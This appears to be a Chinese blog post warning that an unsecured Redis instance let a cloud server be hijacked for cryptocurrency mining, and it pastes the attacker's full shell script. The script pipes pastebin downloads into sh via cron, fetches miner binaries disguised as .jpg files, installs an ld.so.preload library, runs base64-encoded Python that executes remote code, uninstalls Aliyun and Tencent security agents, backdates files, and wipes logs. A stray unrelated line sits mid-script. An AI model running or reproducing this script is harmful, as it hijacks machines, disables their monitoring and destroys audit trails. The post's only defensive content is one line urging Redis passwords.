谁干的？云服务器被用来挖矿了！只因redis没设置密码

╰半夏微凉° 2022-05-09 02:03 142阅读 0赞

*/23 * * * *	(curl -fsSL https://pastebin.com/raw/cAfrnxHu||wget -q -O- https://pastebin.com/raw/cAfrnxHu)|sh

#!/bin/bash
    SHELL=/bin/sh
    PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
    
    function kills() {
    pkill -f sourplum
    pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
    rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik
    rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
    rm -rf /tmp/*index_bak*
    rm -rf /tmp/*httpd.conf*
    rm -rf /tmp/*httpd.conf
    rm -rf /tmp/a7b104c270
    ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "/var/tmp/java" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9
    pkill -f biosetjenkins
    pkill -f AnXqV.yam
    pkill -f xmrigDaemon
    pkill -f xmrigMiner
    pkill -f xmrig
    pkill -f Loopback
    pkill -f apaceha
    pkill -f cryptonight
    pkill -f stratum
    pkill -f mixnerdx
    pkill -f performedl
    pkill -f JnKihGjn
    pkill -f irqba2anc1
    pkill -f irqba5xnc1
    pkill -f irqbnc1
    pkill -f ir29xc1
    pkill -f conns
    pkill -f irqbalance
    pkill -f crypto-pool
    pkill -f minexmr
    pkill -f XJnRj
    pkill -f NXLAi
    pkill -f BI5zj
    pkill -f askdljlqw
    pkill -f minerd
    pkill -f minergate
    pkill -f Guard.sh
    pkill -f ysaydh
    pkill -f bonns
    pkill -f donns
    pkill -f kxjd
    pkill -f Duck.sh
    pkill -f bonn.sh
    pkill -f conn.sh
    pkill -f kworker34
    pkill -f kw.sh
    pkill -f pro.sh
    pkill -f polkitd
    pkill -f acpid
    pkill -f icb5o
    pkill -f nopxi
    pkill -f irqbalanc1
    pkill -f minerd
    pkill -f i586
    pkill -f gddr
    pkill -f mstxmr
    pkill -f ddg.2011
    pkill -f wnTKYg
    pkill -f deamon
    pkill -f disk_genius
    pkill -f sourplum
    pkill -f bashx
    pkill -f bashg
    pkill -f bashe
    pkill -f bashf
    pkill -f bashh
    pkill -f XbashY
    pkill -f libapache
    pkill -f qW3xT.2
    pkill -f /usr/bin/.sshd
    pkill -f sustes
    rm -rf /var/tmp/j*
    rm -rf /tmp/j*
    rm -rf /var/tmp/java
    rm -rf /tmp/java
    rm -rf /var/tmp/java2
    rm -rf /tmp/java2
    rm -rf /var/tmp/java*
    rm -rf /tmp/java*
    rm -rf /tmp/httpd.conf
    rm -rf /tmp/conn
    rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
    rm -rf /tmp/conns
    rm -f /tmp/irq.sh
    rm -f /tmp/irqbalanc1
    rm -f /tmp/irq
    rm -rf /tmp/kworkerds /bin/kworkerds /bin/config.json /var/tmp/kworkerds /var/tmp/config.json /usr/local/lib/libjdk.so
    rm -rf /tmp/.systemd-private-*
    netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    p=$(ps auxf|grep -v grep|grep kworkerds|wc -l)
    if [ ${p} -eq 0 ];then
    	ps auxf|grep -v grep | awk '{if($3>=90.0) print $2}'| xargs kill -9
    	netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
    fi
    }
    
    function system() {
    	if [ ! -f "/bin/dns" ]; then
    		curl -fsSL https://pastebin.com/raw/KqzUfgz0 -o /bin/dns && chmod 755 /bin/dns
    		if [ ! -f "/bin/dns" ]; then
    			wget  https://pastebin.com/raw/KqzUfgz0 -O /bin/dns && chmod 755 /bin/dns
    		fi
    		if [ ! -f "/etc/crontab" ]; then
    			echo -e "0 1 * * * root dns" >> /etc/crontab
    		else
    			sed -i '$d' /etc/crontab && echo -e "0 1 * * * root dns" >> /etc/crontab
    		fi
    	fi
    }
    
    function top() {
    	mkdir -p /usr/local/lib/
    	if [ ! -f "/usr/local/lib/libdns.so" ]; then
    		curl -fsSL https://monero.minerxmr.ru/1/1535595427x-1404817712.jpg -o /usr/local/lib/libdns.so && chmod 755 /usr/local/lib/libdns.so
    		if [ ! -f "/usr/local/lib/libdns.so" ]; then
    			wget https://monero.minerxmr.ru/1/1535595427x-1404817712.jpg -O /usr/local/lib/libdns.so && chmod 755 /usr/local/lib/libdns.so
    		fi
    	fi
    	if [ ! -f "/etc/ld.so.preload" ]; then
    			echo /usr/local/lib/libdns.so > /etc/ld.so.preload
    		else
    			sed -i '$d' /etc/ld.so.preload && echo /usr/local/lib/libdns.so >> /etc/ld.so.preload
    		fi
    	
    	touch -acmr /bin/sh /etc/ld.so.preload
    	touch -acmr /bin/sh /usr/local/lib/libdns.so
    }
    
    function python() {
    	nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2VSa3JTUWZFJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))" >/dev/null 2>&1 &
    	touch /tmp/.tmpp
    }
    
    function echocron() {
    	echo -e "*/10 * * * * root (curl -fsSL https://pastebin.com/raw/cAfrnxHu||wget -q -O- https://pastebin.com/raw/cAfrnxHu)|sh\n##" > /etc/cron.d/root
    	echo -e "*/17 * * * * root (curl -fsSL https://pastebin.com/raw/cAfrnxHu||wget -q -O- https://pastebin.com/raw/cAfrnxHu)|sh\n##" > /etc/cron.d/apache
    	echo -e "*/23 * * * *	(curl -fsSL https://pastebin.com/raw/cAfrnxHu||wget -q -O- https://pastebin.com/raw/cAfrnxHu)|sh\n##" > /var/spool/cron/root
    	mkdir -p /var/spool/cron/crontabs
    	echo -e "*/31 * * * *	(curl -fsSL https://pastebin.com/raw/cAfrnxHu||wget -q -O- https://pastebin.com/raw/cAfrnxHu)|sh\n##" > /var/spool/cron/crontabs/root
    	mkdir -p /etc/cron.hourly
    	curl -fsSL https://pastebin.com/raw/cAfrnxHu -o /etc/cron.hourly/oanacroner && chmod 755 /etc/cron.hourly/oanacroner
    	if [ ! -f "/etc/cron.hourly/oanacroner" ]; then
    		wget https://pastebin.com/raw/cAfrnxHu -O /etc/cron.hourly/oanacroner && chmod 755 /etc/cron.hourly/oanacroner
    	fi
    	mkdir -p /etc/cron.daily
    	curl -fsSL https://pastebin.com/raw/cAfrnxHu -o /etc/cron.daily/oanacroner && chmod 755 /etc/cron.daily/oanacroner
    	if [ ! -f "/etc/cron.daily/oanacroner" ]; then
    		wget https://pastebin.com/raw/cAfrnxHu -O /etc/cron.daily/oanacroner && chmod 755 /etc/cron.daily/oanacroner
    	fi
    	mkdir -p /etc/cron.monthly
    	curl -fsSL https://pastebin.com/raw/cAfrnxHu -o /etc/cron.monthly/oanacroner && chmod 755 /etc/cron.monthly/oanacroner
    	if [ ! -f "/etc/cron.monthly/oanacroner" ]; then
    		wget https://pastebin.com/raw/cAfrnxHu -O /etc/cron.monthly/oanacroner && chmod 755 /etc/cron.monthly/oanacroner
    	fi
    	touch -acmr /bin/sh /var/spool/cron/root
    	touch -acmr /bin/sh /var/spool/cron/crontabs/root
    	touch -acmr /bin/sh /etc/cron.d/apache
    	touch -acmr /bin/sh /etc/cron.d/root
    	touch -acmr /bin/sh /etc/cron.hourly/oanacroner
    	touch -acmr /bin/sh /etc/cron.daily/oanacroner
    	touch -acmr /bin/sh /etc/cron.monthly/oanacroner
    }
    时光往复  爱你如初
    function tables() {
    	iptables -I INPUT -p TCP --dport 6379 -j REJECT
    	iptables -I INPUT -s 127.0.0.1 -p tcp --dport 6379 -j ACCEPT
    	iptables-save
    	touch /tmp/.tables
    }
    
    function uninstall() {
    	if ps aux | grep -i '[a]liyun'; then
    		wget http://update.aegis.aliyun.com/download/uninstall.sh
    		chmod +x uninstall.sh
    		./uninstall.sh
    		wget http://update.aegis.aliyun.com/download/quartz_uninstall.sh
    		chmod +x quartz_uninstall.sh
    		./quartz_uninstall.sh
    		rm -f uninstall.sh 	quartz_uninstall.sh
    		pkill aliyun-service
    		rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
    		rm -rf /usr/local/aegis*;
    	elif ps aux | grep -i '[y]unjing'; then
    		/usr/local/qcloud/stargate/admin/uninstall.sh
    		/usr/local/qcloud/YunJing/uninst.sh
    		/usr/local/qcloud/monitor/barad/admin/uninstall.sh
    	fi
    	touch /tmp/.uninstall
    }
    
    function downloadrun() {
    	ps=$(netstat -anp | grep 167.99.8 | wc -l)
    	if [ ${ps} -eq 0 ];then
    		if [ ! -f "/tmp/kworkerds" ]; then
    			curl -fsSL --connect-timeout 120 https://monero.minerxmr.ru/1/1538099276x-1404792622.jpg -o /tmp/kworkerds && chmod +x /tmp/kworkerds
    			if [ ! -f "/tmp/kworkerds" ]; then
    				wget https://monero.minerxmr.ru/1/1538099276x-1404792622.jpg -O /tmp/kworkerds && chmod +x /tmp/kworkerds
    			fi
    				nohup /tmp/kworkerds >/dev/null 2>&1 &
    		else
    			nohup /tmp/kworkerds >/dev/null 2>&1 &
    		fi
    	fi
    }
    
    function downloadrunxm() {
    	mkdir -p /var/tmp
    	chmod 1777 /var/tmp
    	pm=$(netstat -anp | grep 167.99.8 | wc -l)
    	if [ ${pm} -eq 0 ];then
    		rm -rf /var/tmp/config.json*
    		curl -fsSL --connect-timeout 120 https://monero.minerxmr.ru/007/008/1534496022x-1404764583.jpg -o /var/tmp/config.json && chmod +x /var/tmp/config.json
    		if [ ! -f "/var/tmp/config.json" ]; then
    			wget https://monero.minerxmr.ru/007/008/1534496022x-1404764583.jpg -O /var/tmp/config.json && chmod +x /var/tmp/config.json
    		fi
    		ARCH=$(uname -i)
    		if [ "$ARCH" == "x86_64" ]; then
    			rm -rf /var/tmp/kworkerds*
    			curl -fsSL --connect-timeout 120 https://monero.minerxmr.ru/1/1537410304x-1404764882.jpg -o /var/tmp/kworkerds && chmod +x /var/tmp/kworkerds
    			if [ ! -f "/var/tmp/kworkerds" ]; then
    				wget https://monero.minerxmr.ru/1/1537410304x-1404764882.jpg -O /bin/kworkerds && chmod +x /var/tmp/kworkerds
    			fi
    			nohup /var/tmp/kworkerds >/dev/null 2>&1 &
    		elif [ "$ARCH" == "i386" ]; then
    			rm -rf /var/tmp/kworkerds*
    			curl -fsSL --connect-timeout 120 https://monero.minerxmr.ru/1/1537410750x-1566657908.jpg -o /var/tmp/kworkerds && chmod +x /var/tmp/kworkerds
    			if [ ! -f "/var/tmp/kworkerds" ]; then
    				wget https://monero.minerxmr.ru/1/1537410750x-1566657908.jpg -O /bin/kworkerds && chmod +x /var/tmp/kworkerds
    			fi
    			nohup /var/tmp/kworkerds >/dev/null 2>&1 &
    		else
    			rm -rf /var/tmp/kworkerds*
    			curl -fsSL --connect-timeout 120 https://monero.minerxmr.ru/1/1537410304x-1404764882.jpg -o /var/tmp/kworkerds && chmod +x /var/tmp/kworkerds
    			if [ ! -f "/var/tmp/kworkerds" ]; then
    				wget https://monero.minerxmr.ru/1/1537410304x-1404764882.jpg -O /bin/kworkerds && chmod +x /var/tmp/kworkerds
    			fi
    			nohup /var/tmp/kworkerds >/dev/null 2>&1 &
    		fi
    	fi
    }
    
    mkdir -p /tmp
    chmod 1777 /tmp
    update=$( curl -fsSL --connect-timeout 120 https://pastebin.com/raw/SGM25Vs3 )
    if [ ${update}x = "update"x ];then
    	echocron
    else
    	if [ ! -f "/tmp/.uninstall" ]; then
    		uninstall
    	fi
    	if [ ! -f "/tmp/.tables" ]; then
    		tables
    	fi
    	if [ ! -f "/tmp/.tmpu" ]; then
    		rm -rf /tmp/.tmpp
    		python
    	fi
    	kills
    	downloadrun
    	echocron
    	system
    	top
    	sleep 10
    	port=$(netstat -anp | grep 167.99.8 | wc -l)
    	if [ ${port} -eq 0 ];then
    		downloadrunxm
    	fi
    	echo 0>/var/spool/mail/root
    	echo 0>/var/log/wtmp
    	echo 0>/var/log/secure
    	echo 0>/var/log/cron
    	curl -sk https://2no.co/11Grb
    fi
    #

**血淋淋的教训，云服务器的redis一定要设置密码！！！**

## [为我们的莽撞，自罚三杯][Link 1] ##

[Link 1]: http://www.youma1688.cn/p.php?8tp=t1.16799a687b200.pg0